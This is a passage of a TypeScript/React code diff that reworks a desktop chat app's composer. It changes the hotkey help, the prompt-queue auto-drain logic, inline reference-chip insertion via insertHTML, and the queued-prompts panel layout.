-  const el = document.querySelector(`[data-slot="${RICH_INPUT_SLOT}"]`) as HTMLElement | null
-
-  if (el && document.activeElement === el) {
-    el.blur()
-  }
-}

apps/desktop/src/app/chat/composer/help-hint.tsx

@@ -1,23 +1,11 @@
 import type { ReactNode } from 'react'
 
-import { KbdCombo } from '@/components/ui/kbd'
 import { useI18n } from '@/i18n'
 
 import { COMPLETION_DRAWER_CLASS } from './completion-drawer'
 
 const COMMON_COMMAND_KEYS = ['/help', '/clear', '/resume', '/details', '/copy', '/quit']
-
-/** Stable ids → i18n `hotkeyDescs` keys. Combos resolve mod labels per OS. */
-const COMPOSER_HOTKEY_ROWS = [
-  { id: 'composer.mention', combos: ['@'] },
-  { id: 'composer.slash', combos: ['/'] },
-  { id: 'composer.help', combos: ['?'] },
-  { id: 'composer.sendNewline', combos: ['enter', 'shift+enter'] },
-  { id: 'composer.sendQueued', combos: ['mod+shift+k'] },
-  { id: 'keybinds.openPanel', combos: ['mod+/'] },
-  { id: 'composer.cancel', combos: ['escape'] },
-  { id: 'composer.history', combos: ['up', 'down'] }
-] as const
+const HOTKEY_KEYS = ['@', '/', '?', 'Enter', 'Cmd/Ctrl+Shift+K', 'Cmd/Ctrl+/', 'Esc', '↑ / ↓']
 
 export function HelpHint() {
   const { t } = useI18n()
@@ -32,8 +20,8 @@ export function HelpHint() {
       </Section>
 
       <Section title={c.hotkeys}>
-        {COMPOSER_HOTKEY_ROWS.map(row => (
-          <HotkeyRow description={c.hotkeyDescs[row.id] ?? ''} combos={[...row.combos]} key={row.id} />
+        {HOTKEY_KEYS.map(key => (
+          <Row description={c.hotkeyDescs[key] ?? ''} key={key} keyLabel={key} />
         ))}
       </Section>
 
@@ -69,16 +57,3 @@ function Row({ description, keyLabel, mono = false }: { description: string; key
     </div>
   )
 }
-
-function HotkeyRow({ combos, description }: { combos: string[]; description: string }) {
-  return (
-    <div className="flex min-w-0 items-center gap-2 rounded-md px-2.5 py-1 text-xs">
-      <span className="flex shrink-0 items-center gap-1">
-        {combos.map(combo => (
-          <KbdCombo combo={combo} key={combo} size="sm" />
-        ))}
-      </span>
-      <span className="min-w-0 truncate text-muted-foreground/80">{description}</span>
-    </div>
-  )
-}

apps/desktop/src/app/chat/composer/index.tsx

@@ -14,7 +14,6 @@ import {
 } from 'react'
 
 import { hermesDirectiveFormatter, type SlashChipKind } from '@/components/assistant-ui/directive-text'
-import { composerFill, composerSurfaceGlass } from '@/components/chat/composer-dock'
 import { Button } from '@/components/ui/button'
 import { useMediaQuery } from '@/hooks/use-media-query'
 import { useResizeObserver } from '@/hooks/use-resize-observer'
@@ -43,16 +42,12 @@ import {
 import {
   $queuedPromptsBySession,
   enqueueQueuedPrompt,
-  MAX_AUTO_DRAIN_ATTEMPTS,
-  migrateQueuedPrompts,
   promoteQueuedPrompt,
   type QueuedPromptEntry,
   removeQueuedPrompt,
-  shouldAutoDrain,
+  shouldAutoDrainOnSettle,
   updateQueuedPrompt
 } from '@/store/composer-queue'
-import { $statusItemsBySession } from '@/store/composer-status'
-import { notify } from '@/store/notifications'
 import { $gatewayState, $messages, setSessionPickerOpen } from '@/store/session'
 import { $threadScrolledUp } from '@/store/thread-scroll'
 import { useTheme } from '@/themes'
@@ -85,14 +80,12 @@ import {
 import { QueuePanel } from './queue-panel'
 import {
   composerPlainText,
-  normalizeComposerEditorDom,
   placeCaretEnd,
   refChipElement,
   renderComposerContents,
   RICH_INPUT_SLOT,
   slashChipElement
 } from './rich-editor'
-import { ComposerStatusStack } from './status-stack'
 import { detectTrigger, extractClipboardImageBlobs, textBeforeCaret, type TriggerState } from './text-utils'
 import { ComposerTriggerPopover } from './trigger-popover'
 import type { ChatBarProps } from './types'
@@ -175,8 +168,8 @@ export function ChatBar({
   const draft = useAuiState(s => s.composer.text)
   const attachments = useStore($composerAttachments)
   const queuedPromptsBySession = useStore($queuedPromptsBySession)
-  const statusItemsBySession = useStore($statusItemsBySession)
   const scrolledUp = useStore($threadScrolledUp)
+  const sessionMessages = useStore($messages)
   const activeQueueSessionKey = queueSessionKey || sessionId || null
 
   const queuedPrompts = useMemo(
@@ -184,29 +177,15 @@ export function ChatBar({
     [activeQueueSessionKey, queuedPromptsBySession]
   )
 
-  // Status items (subagents, background processes) are keyed by the RUNTIME
-  // session id — gateway events and process.list both speak that id. Only the
-  // queue uses the stored-session fallback key (prompts can queue pre-resume).
-  const statusSessionId = sessionId ?? null
-
-  const statusStackVisible = useMemo(
-    () =>
-      queuedPrompts.length > 0 || (statusSessionId ? (statusItemsBySession[statusSessionId]?.length ?? 0) > 0 : false),
-    [queuedPrompts.length, statusItemsBySession, statusSessionId]
-  )
-
   const composerRef = useRef<HTMLFormElement | null>(null)
   const composerSurfaceRef = useRef<HTMLDivElement | null>(null)
   const editorRef = useRef<HTMLDivElement | null>(null)
   const draftRef = useRef(draft)
+  const previousBusyRef = useRef(busy)
   const pendingDraftPersistRef = useRef<{ scope: string | null; text: string } | null>(null)
   const activeQueueSessionKeyRef = useRef(activeQueueSessionKey)
   activeQueueSessionKeyRef.current = activeQueueSessionKey
-  const prevQueueKeyRef = useRef(activeQueueSessionKey)
   const drainingQueueRef = useRef(false)
-  // Per-entry auto-drain failure counts; bounds retries so a persistent 404
-  // can't spin-loop. Cleared on success; reset naturally on remount/reconnect.
-  const drainFailuresRef = useRef(new Map<string, number>())
   const urlInputRef = useRef<HTMLInputElement | null>(null)
 
   const [urlOpen, setUrlOpen] = useState(false)
@@ -247,8 +226,6 @@ export function ChatBar({
   const gatewayState = useStore($gatewayState)
   const newSessionPlaceholders = t.composer.newSessionPlaceholders
   const followUpPlaceholders = t.composer.followUpPlaceholders
-  const reconnecting = gatewayState === 'closed' || gatewayState === 'error'
-  const inputDisabled = disabled && !reconnecting
 
   // Resting placeholder: a starter for brand-new sessions, a continuation for
   // existing ones. Picked once and only re-rolled when we genuinely move to a
@@ -279,13 +256,11 @@ export function ChatBar({
     setRestingPlaceholder(pickPlaceholder(sessionId ? followUpPlaceholders : newSessionPlaceholders))
   }, [followUpPlaceholders, newSessionPlaceholders, sessionId])
 
-  // When the transport is disabled it's because the gateway isn't open.
-  // Distinguish a cold start ("Starting Hermes...") from a dropped connection
-  // we're trying to restore. During reconnect, keep the textbox editable so a
-  // flaky network doesn't block drafting; only submit/backend actions stay
-  // disabled until the gateway is open again.
+  // When the bar is disabled it's because the gateway isn't open. Distinguish a
+  // cold start ("Starting Hermes...") from a dropped connection we're trying to
+  // restore (e.g. after the Mac slept) so the stuck state reads as recoverable.
   const placeholder = disabled
-    ? reconnecting
+    ? gatewayState === 'closed' || gatewayState === 'error'
       ? t.composer.placeholderReconnecting
       : t.composer.placeholderStarting
     : restingPlaceholder
@@ -327,13 +302,13 @@ export function ChatBar({
   )
 
   useEffect(() => {
-    if (!inputDisabled) {
+    if (!disabled) {
       focusInput()
     }
-  }, [focusInput, focusKey, focusRequestId, inputDisabled])
+  }, [disabled, focusInput, focusKey, focusRequestId])
 
   useEffect(() => {
-    if (inputDisabled) {
+    if (disabled) {
       return undefined
     }
 
@@ -353,7 +328,7 @@ export function ChatBar({
       offFocus()
       offInsert()
     }
-  }, [appendExternalText, inputDisabled])
+  }, [appendExternalText, disabled])
 
   // Keep draftRef in sync with the assistant-ui composer state for callers
   // that read the latest text outside the React render cycle. We don't push
@@ -627,7 +602,9 @@ export function ChatBar({
   // (which drives `hasComposerPayload` → the send button). Shared by the input
   // and compositionend paths so committed IME text reaches state through either.
   const flushEditorToDraft = (editor: HTMLDivElement) => {
-    normalizeComposerEditorDom(editor)
+    if (editor.childNodes.length === 1 && editor.firstChild?.nodeName === 'BR') {
+      editor.replaceChildren()
+    }
 
     const nextDraft = composerPlainText(editor)
 
@@ -711,7 +688,8 @@ export function ChatBar({
     // already an arg pick (`/personality alice`), so it commits normally.
     const command = (item.metadata as { command?: string } | undefined)?.command ?? ''
 
-    const expandsToArgs = trigger.kind === '/' && !serialized.includes(' ') && desktopSlashCommandTakesArgs(command)
+    const expandsToArgs =
+      trigger.kind === '/' && !serialized.includes(' ') && desktopSlashCommandTakesArgs(command)
 
     const text = starter || serialized.endsWith(' ') ? serialized : `${serialized} `
     const directive = !starter && serialized.match(/^@([^:]+):(.+)$/)
@@ -875,9 +853,7 @@ export function ChatBar({
       event.preventDefault()
       triggerKeyConsumedRef.current = true
 
-      // $messages is read imperatively (not subscribed) so the composer
-      // doesn't re-render on every streaming delta flush.
-      const history = deriveUserHistory($messages.get(), chatMessageText)
+      const history = deriveUserHistory(sessionMessages, chatMessageText)
       const entry = browseBackward(sessionId, currentDraft, history)
 
       if (entry !== null) {
@@ -902,7 +878,7 @@ export function ChatBar({
         event.preventDefault()
         triggerKeyConsumedRef.current = true
 
-        const history = deriveUserHistory($messages.get(), chatMessageText)
+        const history = deriveUserHistory(sessionMessages, chatMessageText)
         const result = browseForward(sessionId, history)
 
         if (result !== null) {
@@ -938,10 +914,6 @@ export function ChatBar({
       const editorText = editorRef.current ? composerPlainText(editorRef.current) : draftRef.current
       const hasLivePayload = editorText.trim().length > 0 || attachments.length > 0
 
-      if (disabled) {
-        return
-      }
-
       if (!busy && !hasLivePayload && queuedPrompts.length > 0) {
         void drainNextQueued()
 
@@ -1141,8 +1113,11 @@ export function ChatBar({
     }
   }
 
-  const stashAt = (scope: string | null, text = draftRef.current, attachments = $composerAttachments.get()) =>
-    stashSessionDraft(scope, text, attachments)
+  const stashAt = (
+    scope: string | null,
+    text = draftRef.current,
+    attachments = $composerAttachments.get()
+  ) => stashSessionDraft(scope, text, attachments)
 
   // Per-thread draft swap — the composer's only session coupling. Lifecycle
   // never clears composer state; this effect alone stashes on leave, restores
@@ -1340,7 +1315,6 @@ export function ChatBar({
           return false
         }
 
-        drainFailuresRef.current.delete(entry.id)
         removeQueuedPrompt(activeQueueSessionKey, entry.id)
         resetBrowseState(sessionId)
 
@@ -1352,17 +1326,16 @@ export function ChatBar({
     [activeQueueSessionKey, onSubmit, queuedPrompts, sessionId]
   )
 
-  const pickDrainHead = useCallback(
-    (entries: QueuedPromptEntry[]) => {
-      const skip = queueEditRef.current?.entryId
+  const drainNextQueued = useCallback(
+    () =>
+      runDrain(entries => {
+        const skip = queueEdit?.entryId
 
-      return skip ? entries.find(e => e.id !== skip) : entries[0]
-    },
-    [] // reads the edit id off a ref so the lock-holder always sees the latest
+        return skip ? entries.find(e => e.id !== skip) : entries[0]
+      }),
+    [queueEdit, runDrain]
   )
 
-  const drainNextQueued = useCallback(() => runDrain(pickDrainHead), [pickDrainHead, runDrain])
-
   const sendQueuedNow = useCallback(
     (id: string) => {
       if (!activeQueueSessionKey || id === queueEdit?.entryId) {
@@ -1380,76 +1353,30 @@ export function ChatBar({
         return true
       }
 
-      // A manual send clears the auto-drain backoff so a stuck entry the user
-      // taps gets a fresh attempt (and re-enables auto-retry on success).
-      drainFailuresRef.current.delete(id)
-
       return runDrain(entries => entries.find(e => e.id === id))
     },
     [activeQueueSessionKey, busy, onCancel, queueEdit, runDrain]
   )
 
-  // Edge-independent auto-drain: send the head whenever the session is idle and
-  // the queue is non-empty, bounding retries so a thrown/rejected onSubmit (e.g.
-  // a stale-session 404) can't strand the entry permanently nor spin-loop. The
-  // drain lock serializes sends; a remount/reconnect resets the failure counts.
-  const autoDrainNext = useCallback(() => {
-    if (busy || drainingQueueRef.current || !activeQueueSessionKey) {
-      return
-    }
+  // Auto-drain on busy → false (turn settled). Queued turns always flow once
+  // the session is idle again — whether the turn finished naturally or the
+  // user interrupted it. Interrupting to reach a queued message is the whole
+  // point of the queue, so we never suppress the drain. To cancel queued
+  // turns, the user deletes them from the panel.
+  useEffect(() => {
+    const wasBusy = previousBusyRef.current
+    previousBusyRef.current = busy
 
-    const entry = pickDrainHead(queuedPrompts)
-
-    if (!entry || (drainFailuresRef.current.get(entry.id) ?? 0) >= MAX_AUTO_DRAIN_ATTEMPTS) {
-      return
-    }
-
-    const onFail = () => {
-      const fails = (drainFailuresRef.current.get(entry.id) ?? 0) + 1
-      drainFailuresRef.current.set(entry.id, fails)
-
-      if (fails >= MAX_AUTO_DRAIN_ATTEMPTS) {
-        notify({
-          id: 'composer-queue-stuck',
-          kind: 'error',
-          title: t.composer.queueStuckTitle,
-          message: t.composer.queueStuckBody
-        })
-      }
-    }
-
-    void runDrain(() => entry)
-      .then(sent => {
-        if (!sent) {
-          onFail()
-        }
+    if (
+      shouldAutoDrainOnSettle({
+        isBusy: busy,
+        queueLength: queuedPrompts.length,
+        wasBusy
       })
-      .catch(onFail)
-  }, [activeQueueSessionKey, busy, pickDrainHead, queuedPrompts, runDrain, t])
-
-  // Re-key on a runtime session-id change. A stable stored id (queueSessionKey)
-  // never churns, so a change there is a real session switch and must NOT
-  // migrate; only the runtime-derived key (queueSessionKey falsy → key is
-  // sessionId) churns on a backend bounce/resume of the same conversation.
-  useEffect(() => {
-    const prev = prevQueueKeyRef.current
-    prevQueueKeyRef.current = activeQueueSessionKey
-
-    if (queueSessionKey || !prev || !activeQueueSessionKey || prev === activeQueueSessionKey) {
-      return
+    ) {
+      void drainNextQueued()
     }
-
-    migrateQueuedPrompts(prev, activeQueueSessionKey)
-  }, [activeQueueSessionKey, queueSessionKey])
-
-  // Queued turns flow whenever the session is idle — on the busy→false settle
-  // edge, on mount/reconnect, and after a re-key — so a swallowed edge can't
-  // strand them. To cancel queued turns, the user deletes them from the panel.
-  useEffect(() => {
-    if (shouldAutoDrain({ isBusy: busy, queueLength: queuedPrompts.length })) {
-      autoDrainNext()
-    }
-  }, [autoDrainNext, busy, queuedPrompts.length])
+  }, [busy, drainNextQueued, queuedPrompts.length])
 
   // Queue-edit cleanup: on session swap the scope effect already stashed the
   // edit snapshot; only restore into the composer when still on the same scope.
@@ -1484,10 +1411,6 @@ export function ChatBar({
   }
 
   const submitDraft = () => {
-    if (disabled) {
-      return
-    }
-
     // Source the text from the DOM editor, not React state. The AUI composer
     // state (`draft`) and the derived `hasComposerPayload` lag the DOM by a
     // render, so on fast typing or IME composition the final keystroke(s) may
@@ -1668,7 +1591,6 @@ export function ChatBar({
   const input = (
     <div className={cn('relative', stacked ? 'w-full' : 'min-w-(--composer-input-inline-min-width) flex-1')}>
       <div
-        aria-disabled={inputDisabled ? true : undefined}
         aria-label={t.composer.message}
         autoCapitalize="off"
         autoCorrect="off"
@@ -1679,7 +1601,7 @@ export function ChatBar({
           stacked && 'pl-3',
           stacked ? 'w-full' : 'min-w-(--composer-input-inline-min-width) flex-1'
         )}
-        contentEditable={!inputDisabled}
+        contentEditable={!disabled}
         data-placeholder={placeholder}
         data-slot={RICH_INPUT_SLOT}
         onBlur={() => window.setTimeout(closeTrigger, 80)}
@@ -1747,7 +1669,6 @@ export function ChatBar({
           className="group/composer absolute bottom-0 left-1/2 z-30 w-[min(var(--composer-width),calc(100%-2rem))] max-w-full -translate-x-1/2 rounded-2xl pt-2 pb-[var(--composer-shell-pad-block-end)]"
           data-drag-active={dragActive ? '' : undefined}
           data-slot="composer-root"
-          data-status-stack={statusStackVisible ? '' : undefined}
           data-thread-scrolled-up={scrolledUp ? '' : undefined}
           onDragEnter={handleDragEnter}
           onDragLeave={handleDragLeave}
@@ -1775,30 +1696,26 @@ export function ChatBar({
               onPick={replaceTriggerWithChip}
             />
           )}
-          {/* Session-scoped status stack (todos, subagents, background tasks,
-              queue). Out of flow so it never inflates the composer's measured
-              height; it overlays the chat instead of pushing it, and publishes
-              its own --status-stack-measured-height so the thread's clearance
-              accounts for it. Collapses to nothing when every status is empty. */}
-          <ComposerStatusStack
-            queue={
-              activeQueueSessionKey && queuedPrompts.length > 0 ? (
-                <QueuePanel
-                  busy={busy}
-                  editingId={queueEdit?.entryId ?? null}
-                  entries={queuedPrompts}
-                  onDelete={id => {
-                    if (removeQueuedPrompt(activeQueueSessionKey, id) && queueEdit?.entryId === id) {
-                      exitQueuedEdit('cancel')
-                    }
-                  }}
-                  onEdit={beginQueuedEdit}
-                  onSendNow={id => void sendQueuedNow(id)}
-                />
-              ) : null
-            }
-            sessionId={statusSessionId}
-          />
+          {activeQueueSessionKey && queuedPrompts.length > 0 && (
+            // Out of flow so the queue never inflates the composer's measured
+            // height (that drives thread bottom padding → chat resizes on
+            // queue). Overlaps -mb-2 onto the surface's top border for a shared
+            // edge; capped + scrollable. Overlays the chat instead of pushing it.
+            <div className="absolute inset-x-0 bottom-full z-6 -mb-2 max-h-[40vh] overflow-y-auto">
+              <QueuePanel
+                busy={busy}
+                editingId={queueEdit?.entryId ?? null}
+                entries={queuedPrompts}
+                onDelete={id => {
+                  if (removeQueuedPrompt(activeQueueSessionKey, id) && queueEdit?.entryId === id) {
+                    exitQueuedEdit('cancel')
+                  }
+                }}
+                onEdit={beginQueuedEdit}
+                onSendNow={id => void sendQueuedNow(id)}
+              />
+            </div>
+          )}
           <div
             className="pointer-events-none absolute inset-0 rounded-[inherit]"
             style={{ background: COMPOSER_FADE_BACKGROUND }}
@@ -1806,8 +1723,9 @@ export function ChatBar({
           <div className="relative w-full rounded-[inherit]">
             <div
               className={cn(
-                'group/composer-surface relative z-4 isolate rounded-[inherit] border border-[color-mix(in_srgb,var(--dt-composer-ring)_calc(18%*var(--composer-ring-strength)),var(--dt-input))] transition-[border-color] duration-200 ease-out focus-within:border-[color-mix(in_srgb,var(--dt-composer-ring)_calc(45%*var(--composer-ring-strength)),transparent)]',
+                'relative z-4 isolate rounded-[inherit] border border-[color-mix(in_srgb,var(--dt-composer-ring)_calc(18%*var(--composer-ring-strength)),var(--dt-input))] transition-[border-color] duration-200 ease-out',
                 COMPOSER_DROP_FADE_CLASS,
+                'group-focus-within/composer:border-[color-mix(in_srgb,var(--dt-composer-ring)_calc(45%*var(--composer-ring-strength)),transparent)]',
                 'group-has-data-[state=open]/composer:border-t-transparent',
                 dragActive && COMPOSER_DROP_ACTIVE_CLASS
               )}
@@ -1818,14 +1736,20 @@ export function ChatBar({
                 aria-hidden
                 className={cn(
                   'pointer-events-none absolute inset-0 -z-10 rounded-[inherit]',
-                  composerFill,
-                  composerSurfaceGlass
+                  'bg-[color-mix(in_srgb,var(--dt-card)_72%,transparent)]',
+                  'backdrop-blur-[0.75rem] backdrop-saturate-[1.12]',
+                  '[-webkit-backdrop-filter:blur(0.75rem)_saturate(1.12)]',
+                  'transition-[background-color] duration-150 ease-out',
+                  'group-data-[thread-scrolled-up]/composer:bg-[color-mix(in_srgb,var(--dt-card)_48%,transparent)]',
+                  'group-focus-within/composer:bg-[color-mix(in_srgb,var(--dt-card)_85%,transparent)]'
                 )}
               />
               <div
                 className={cn(
                   'relative z-1 flex min-h-0 w-full flex-col gap-(--composer-row-gap) overflow-hidden rounded-[inherit] px-(--composer-surface-pad-x) py-(--composer-surface-pad-y) transition-opacity duration-200 ease-out',
-                  scrolledUp ? 'opacity-30 group-hover/composer:opacity-100 group-focus-within/composer-surface:opacity-100' : 'opacity-100'
+                  scrolledUp
+                    ? 'opacity-30 group-hover/composer:opacity-100 group-focus-within/composer:opacity-100'
+                    : 'opacity-100'
                 )}
                 data-slot="composer-fade"
               >
@@ -1900,8 +1824,12 @@ export function ChatBarFallback() {
           aria-hidden
           className={cn(
             'pointer-events-none absolute inset-0 -z-10 rounded-[inherit]',
-            composerFill,
-            composerSurfaceGlass
+            'bg-[color-mix(in_srgb,var(--dt-card)_72%,transparent)]',
+            'backdrop-blur-[0.75rem] backdrop-saturate-[1.12]',
+            '[-webkit-backdrop-filter:blur(0.75rem)_saturate(1.12)]',
+            'transition-[background-color] duration-150 ease-out',
+            'group-data-[thread-scrolled-up]/composer:bg-[color-mix(in_srgb,var(--dt-card)_48%,transparent)]',
+            'group-focus-within/composer:bg-[color-mix(in_srgb,var(--dt-card)_85%,transparent)]'
           )}
         />
       </div>

apps/desktop/src/app/chat/composer/inline-refs.ts

@@ -3,12 +3,7 @@ import { contextPath } from '@/lib/chat-runtime'
 
 import type { DroppedFile } from '../hooks/use-composer-actions'
 
-import {
-  composerPlainText,
-  normalizeComposerEditorDom,
-  placeCaretEnd,
-  refChipElement
-} from './rich-editor'
+import { composerPlainText, escapeHtml, placeCaretEnd, refChipHtml } from './rich-editor'
 
 /** A chip to insert: a raw `@kind:value` string, or a typed value + display label. */
 export type InlineRefInput = string | { kind: string; label?: string; value: string }
@@ -94,102 +89,56 @@ export function droppedFileInlineRefs(candidates: DroppedFile[], cwd: string | n
   return candidates.map(candidate => droppedFileInlineRef(candidate, cwd)).filter((ref): ref is string => Boolean(ref))
 }
 
-function parseInlineRef(ref: InlineRefInput): { kind: string; label?: string; rawValue: string } | null {
-  if (typeof ref !== 'string') {
-    return { kind: ref.kind, label: ref.label, rawValue: ref.value }
-  }
-
-  const match = ref.match(/^@([^:]+):(.+)$/)
-
-  if (!match) {
-    return null
-  }
-
-  return { kind: match[1] || 'file', rawValue: match[2] || '' }
-}
-
-function plainTextInRange(editor: HTMLDivElement, range: Range, edge: 'after' | 'before') {
-  const slice = range.cloneRange()
-  slice.selectNodeContents(editor)
-
-  if (edge === 'before') {
-    slice.setEnd(range.startContainer, range.startOffset)
-  } else {
-    slice.setStart(range.endContainer, range.endOffset)
-  }
-
-  const container = document.createElement('div')
-  container.appendChild(slice.cloneContents())
-
-  return composerPlainText(container)
-}
-
-function buildRefFragment(
-  refs: readonly { kind: string; label?: string; rawValue: string }[],
-  { needsBeforeSpace, needsAfterSpace }: { needsAfterSpace: boolean; needsBeforeSpace: boolean }
-) {
-  const fragment = document.createDocumentFragment()
-
-  if (needsBeforeSpace) {
-    fragment.append(document.createTextNode(' '))
-  }
-
-  refs.forEach((ref, index) => {
-    if (index > 0) {
-      fragment.append(document.createTextNode(' '))
-    }
-
-    fragment.append(refChipElement(ref.kind, ref.rawValue, ref.label))
-  })
-
-  if (needsAfterSpace) {
-    fragment.append(document.createTextNode(' '))
-  }
-
-  return fragment
-}
-
 export function insertInlineRefsIntoEditor(editor: HTMLDivElement, refs: readonly InlineRefInput[]) {
-  const parsed = refs.map(parseInlineRef).filter((ref): ref is NonNullable<typeof ref> => ref !== null)
-
-  if (!parsed.length) {
+  if (!refs.length) {
     return null
   }
 
-  editor.focus({ preventScroll: true })
+  const refsHtml = refs
+    .map(ref => {
+      if (typeof ref !== 'string') {
+        return refChipHtml(ref.kind, ref.value, ref.label)
+      }
+
+      const match = ref.match(/^@([^:]+):(.+)$/)
+
+      return match ? refChipHtml(match[1], match[2]) : escapeHtml(ref)
+    })
+    .join(' ')
 
   const selection = window.getSelection()
+
   const range =
     selection?.rangeCount && editor.contains(selection.getRangeAt(0).commonAncestorContainer)
       ? selection.getRangeAt(0)
       : null
 
-  if (range && selection) {
-    const beforeText = plainTextInRange(editor, range, 'before')
-    const afterText = plainTextInRange(editor, range, 'after')
+  editor.focus({ preventScroll: true })
 
-    range.insertNode(
-      buildRefFragment(parsed, {
-        needsAfterSpace: afterText.length === 0 || !/^\s/.test(afterText),
-        needsBeforeSpace: beforeText.length > 0 && !/\s$/.test(beforeText)
-      })
-    )
-    range.collapse(false)
-    selection.removeAllRanges()
-    selection.addRange(range)
+  if (range) {
+    const beforeRange = range.cloneRange()
+    beforeRange.selectNodeContents(editor)
+    beforeRange.setEnd(range.startContainer, range.startOffset)
+    const beforeContainer = document.createElement('div')
+    beforeContainer.appendChild(beforeRange.cloneContents())
+
+    const afterRange = range.cloneRange()
+    afterRange.selectNodeContents(editor)
+    afterRange.setStart(range.endContainer, range.endOffset)
+    const afterContainer = document.createElement('div')
+    afterContainer.appendChild(afterRange.cloneContents())
+
+    const beforeText = composerPlainText(beforeContainer)
+    const afterText = composerPlainText(afterContainer)
+    const needsBeforeSpace = beforeText.length > 0 && !/\s$/.test(beforeText)
+    const needsAfterSpace = afterText.length === 0 || !/^\s/.test(afterText)
+
+    document.execCommand('insertHTML', false, `${needsBeforeSpace ? ' ' : ''}${refsHtml}${needsAfterSpace ? ' ' : ''}`)
   } else {
     const current = composerPlainText(editor)
-
-    editor.append(
-      buildRefFragment(parsed, {
-        needsAfterSpace: true,
-        needsBeforeSpace: current.length > 0 && !/\s$/.test(current)
-      })
-    )
     placeCaretEnd(editor)
+    document.execCommand('insertHTML', false, `${current && !/\s$/.test(current) ? ' ' : ''}${refsHtml} `)
   }
 
-  normalizeComposerEditorDom(editor)
-
   return composerPlainText(editor)
 }

apps/desktop/src/app/chat/composer/queue-panel.tsx

@@ -1,6 +1,7 @@
-import { StatusRow } from '@/components/chat/status-row'
-import { StatusSection } from '@/components/chat/status-section'
+import { useState } from 'react'
+
 import { Button } from '@/components/ui/button'
+import { DisclosureCaret } from '@/components/ui/disclosure-caret'
 import { Tip } from '@/components/ui/tooltip'
 import { type Translations, useI18n } from '@/i18n'
 import { ArrowUp, Pencil, Trash2 } from '@/lib/icons'
@@ -22,84 +23,108 @@ const entryPreview = (entry: QueuedPromptEntry, c: Translations['composer']) =>
 export function QueuePanel({ busy, editingId, entries, onDelete, onEdit, onSendNow }: QueuePanelProps) {
   const { t } = useI18n()
   const c = t.composer
+  const [collapsed, setCollapsed] = useState(true)
 
   if (entries.length === 0) {
     return null
   }
 
   return (
-    <StatusSection label={c.queued(entries.length)}>
-      {entries.map(entry => {
-        const isEditing = editingId === entry.id
-        const attachmentsCount = entry.attachments.length
+    <div className="rounded-t-2xl border border-b-0 border-border/65 bg-[color-mix(in_srgb,var(--dt-card)_70%,transparent)] pt-0.5 pb-1 mx-1">
+      <button
+        className="flex w-full items-center gap-1.5 px-2 text-left text-[0.6rem] font-medium text-muted-foreground/92 transition-colors hover:text-foreground/90"
+        onClick={() => setCollapsed(open => !open)}
+        type="button"
+      >
+        <DisclosureCaret className="shrink-0" open={!collapsed} size="1em" />
+        <span className="truncate">{c.queued(entries.length)}</span>
+      </button>
 
-        return (
-          <StatusRow
-            className={cn(
-              'border border-transparent',
-              isEditing && 'border-[color-mix(in_srgb,var(--dt-composer-ring)_40%,transparent)] bg-accent/25'
-            )}
-            key={entry.id}
-            trailing={
-              <>
-                <Tip label={c.queueEdit}>
-                  <Button
-                    aria-label={c.queueEdit}
-                    className="size-5 rounded-md"
-                    disabled={Boolean(editingId) && !isEditing}
-                    onClick={() => onEdit(entry)}
-                    size="icon-xs"
-                    type="button"
-                    variant="ghost"
-                  >
-                    <Pencil size={11} />
-                  </Button>
-                </Tip>
-                <Tip label={busy ? c.queueSendNext : c.queueSend}>
-                  <Button
-                    aria-label={busy ? c.queueSendNext : c.queueSend}
-                    className="size-5 rounded-md"
-                    disabled={isEditing}
-                    onClick={() => onSendNow(entry.id)}
-                    size="icon-xs"
-                    type="button"
-                    variant="ghost"
-                  >
-                    <ArrowUp size={11} />
-                  </Button>
-                </Tip>
-                <Tip label={c.queueDelete}>
-                  <Button
-                    aria-label={c.queueDelete}
-                    className="size-5 rounded-md"
-                    onClick={() => onDelete(entry.id)}
-                    size="icon-xs"
-                    type="button"
-                    variant="ghost"
-                  >
-                    <Trash2 size={11} />
-                  </Button>
-                </Tip>
-              </>
-            }
-            trailingVisible={isEditing}
-          >
-            <div className="min-w-0 flex-1">
-              <p className="truncate text-[0.73rem] leading-4 text-foreground/92">{entryPreview(entry, c)}</p>
-              {(attachmentsCount > 0 || isEditing) && (
-                <div className="mt-0.5 flex items-center gap-1.5 text-[0.64rem] text-muted-foreground/75">
-                  {attachmentsCount > 0 && <span>{c.attachments(attachmentsCount)}</span>}
-                  {isEditing && (
-                    <span className="text-[color-mix(in_srgb,var(--dt-composer-ring)_78%,var(--muted-foreground))]">
-                      {c.editingInComposer}
-                    </span>
+      {!collapsed && (
+        <div className="space-y-0.5 px-1 pb-0.5">
+          {entries.map(entry => {
+            const isEditing = editingId === entry.id
+            const attachmentsCount = entry.attachments.length
+            const sendLabel = busy ? c.sendQueuedNext : c.sendQueuedNow
+
+            return (
+              <div
+                className={cn(
+                  'group/queue-row flex items-center gap-1.5 rounded-lg border border-transparent px-1.5 py-0.5',
+                  'transition-colors duration-300 ease-out hover:bg-(--chrome-action-hover) hover:transition-none',
+                  isEditing && 'border-[color-mix(in_srgb,var(--dt-composer-ring)_40%,transparent)] bg-accent/25'
+                )}
+                key={entry.id}
+              >
+                <span
+                  aria-hidden
+                  className="h-3.5 w-3.5 shrink-0 rounded-full border border-foreground/35 bg-transparent"
+                />
+                <div className="min-w-0 flex-1">
+                  <p className="truncate text-[0.73rem] leading-4 text-foreground/92">{entryPreview(entry, c)}</p>
+                  {(attachmentsCount > 0 || isEditing) && (
+                    <div className="mt-0.5 flex items-center gap-1.5 text-[0.64rem] text-muted-foreground/75">
+                      {attachmentsCount > 0 && <span>{c.attachments(attachmentsCount)}</span>}
+                      {isEditing && (
+                        <span className="text-[color-mix(in_srgb,var(--dt-composer-ring)_78%,var(--muted-foreground))]">
+                          {c.editingInComposer}
+                        </span>
+                      )}
+                    </div>
                   )}
                 </div>
-              )}
-            </div>
-          </StatusRow>
-        )
-      })}
-    </StatusSection>
+                <div
+                  className={cn(
+                    'flex shrink-0 items-center gap-0 transition-opacity',
+                    isEditing
+                      ? 'opacity-100'
+                      : 'opacity-0 group-hover/queue-row:opacity-100 group-focus-within/queue-row:opacity-100'
+                  )}
+                >
+                  <Tip label={c.editQueued}>
+                    <Button
+                      aria-label={c.editQueued}
+                      className="h-5 w-5 rounded-md"
+                      disabled={Boolean(editingId) && !isEditing}
+                      onClick={() => onEdit(entry)}
+                      size="icon-xs"
+                      type="button"
+                      variant="ghost"
+                    >
+                      <Pencil size={11} />
+                    </Button>
+                  </Tip>
+                  <Tip label={sendLabel}>
+                    <Button
+                      aria-label={sendLabel}
+                      className="h-5 w-5 rounded-md"
+                      disabled={isEditing}
+                      onClick={() => onSendNow(entry.id)}
+                      size="icon-xs"
+                      type="button"
+                      variant="ghost"
+                    >
